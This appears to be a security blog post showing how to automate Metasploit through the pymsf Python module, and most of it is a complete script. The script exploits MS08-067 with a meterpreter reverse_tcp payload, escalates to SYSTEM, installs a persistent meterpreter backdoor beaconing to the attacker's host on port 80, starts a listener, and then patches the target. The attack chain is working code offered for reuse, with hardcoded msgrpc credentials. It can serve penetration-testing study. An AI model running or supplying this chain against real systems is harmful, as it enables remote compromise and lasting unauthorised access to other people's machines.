pymsf

The Python module pymsf by Spiderlabs allows interaction between Python and Metasploit’s msgrpc.  First you’ll need to load msfconsole and start the msgrpc service with the command:

load msgrpc Pass=<password>

Interacting with msgrpc is similar to interaction with msfconsole.  First you create an instance of the msfrpc class, login to the msgrpc server, and create a virtual console.  Then you can start to craft multiple line strings containing the commands you want to execute on the virtual console.  You use the call method to execute commands with ‘console.write’, and read the output with ‘console.read’.  This post will demonstrate how you can leverage the pymsf module to launch an exploit and some post exploitation tasks.

Here a function is defined that creates an instance of msfrpc, login to the msgrpc server, and create a virtual console:

def sploiter(RHOST, LHOST, LPORT, session):
    client = msfrpc.Msfrpc({})
    client.login('msf', '123')
    ress = client.call('console.create')
    console_id = ress['id']

Next a multiple line string is created that contains the commands you want to send to the virtual console.  Then we pass the string to the virtual console with console.write, and read the output with console.read:

## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('n')

This code snippet creates MSF resource files which allow you to run a series of commands from a file with “resource <PathToFile>”.  Later we will execute the resource file that was created which will elevate privileges with “getsystem”, then create a meterpreter backdoor that will beacon back to LHOST on port 80 with “run persistence…”, upload the patch for the vulnerability that was exploited, and finally install the patch in non-user interaction mode:

# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
	post = open('/tmp/smbpost.rc', 'w')
	bat = open('/tmp/ms08067_install.bat', 'w')

	postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\
upload /tmp/ms08067_patch.exe c:\
upload /tmp/ms08067_install.bat c:\
execute -f ms08067_install.bat
"""
	batcomm = "ms08067_patch.exe /quiet"
	post.write(postcomms); bat.write(batcomm)
	post.close(); bat.close()

This uses the .rc files that were built in the code above and runs them in the current meterpreter session by using the msf module “post/multi/gather/run_console_rc_file”.  The commands are written to the console with console.write, and read from the virtual console with console.read:

## Run Post-exploit script ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
	print "[+] Running post-exploit script on: "+RHOST
	client.call('console.write',[console_id,runPost])
	rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
	sleep(10)
	listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres

The variables (RHOST, LHOST, LPORT, etc.) were given at the command line with the optparse module.  The completed script can be found on our github, keep in mind some parts of the script are static, for example having the ms08067 patch in your /tmp/ directory.  This is more of proof of concept code to modify for your own msf automation needs.  We suggest you use this blog post as motivation to automate something simple in MSF on your own:

import os, msfrpc, optparse, sys, subprocess
from time import sleep

# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
	post = open('/tmp/smbpost.rc', 'w')
	bat = open('/tmp/ms08067_install.bat', 'w')

	postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\
upload /tmp/ms08067_patch.exe c:\
upload /tmp/ms08067_install.bat c:\
execute -f ms08067_install.bat
"""
	batcomm = "ms08067_patch.exe /quiet"
	post.write(postcomms); bat.write(batcomm)
	post.close(); bat.close()

# Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch
def sploiter(RHOST, LHOST, LPORT, session):
	client = msfrpc.Msfrpc({})
        client.login('msf', '123')
        ress = client.call('console.create')
        console_id = ress['id']

## Exploit MS08-067 ##
	commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
	print "[+] Exploiting MS08-067 on: "+RHOST
	client.call('console.write',[console_id,commands])
	res = client.call('console.read',[console_id])
	result = res['data'].split('n')

## Run Post-exploit script ##
	runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
	print "[+] Running post-exploit script on: "+RHOST
	client.call('console.write',[console_id,runPost])
	rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
	sleep(10)
	listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
	print "[+] Setting up listener on: "+LHOST+":80"
	client.call('console.write',[console_id,listen])
	lres = client.call('console.read',[console_id])
	print lres

def main():
        parser = optparse.OptionParser(sys.argv[0] +
        ' -p LPORT -r RHOST -l LHOST')
        parser.add_option('-p', dest='LPORT', type='string', 
        help ='specify a port to listen on')
        parser.add_option('-r', dest='RHOST', type='string', 
        help='Specify a remote host')
        parser.add_option('-l', dest='LHOST', type='string', 
        help='Specify a local host')
	parser.add_option('-s', dest='session', type='string', 
        help ='specify session ID')
	(options, args) = parser.parse_args()
	session=options.session
	RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT

	if (RHOST == None) and (LPORT == None) and (LHOST == None):
                print parser.usage
                sys.exit(0)

	builder(RHOST, LHOST, LPORT)
	sploiter(RHOST, LHOST, LPORT, session)

if __name__ == "__main__":
      main()

 [/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]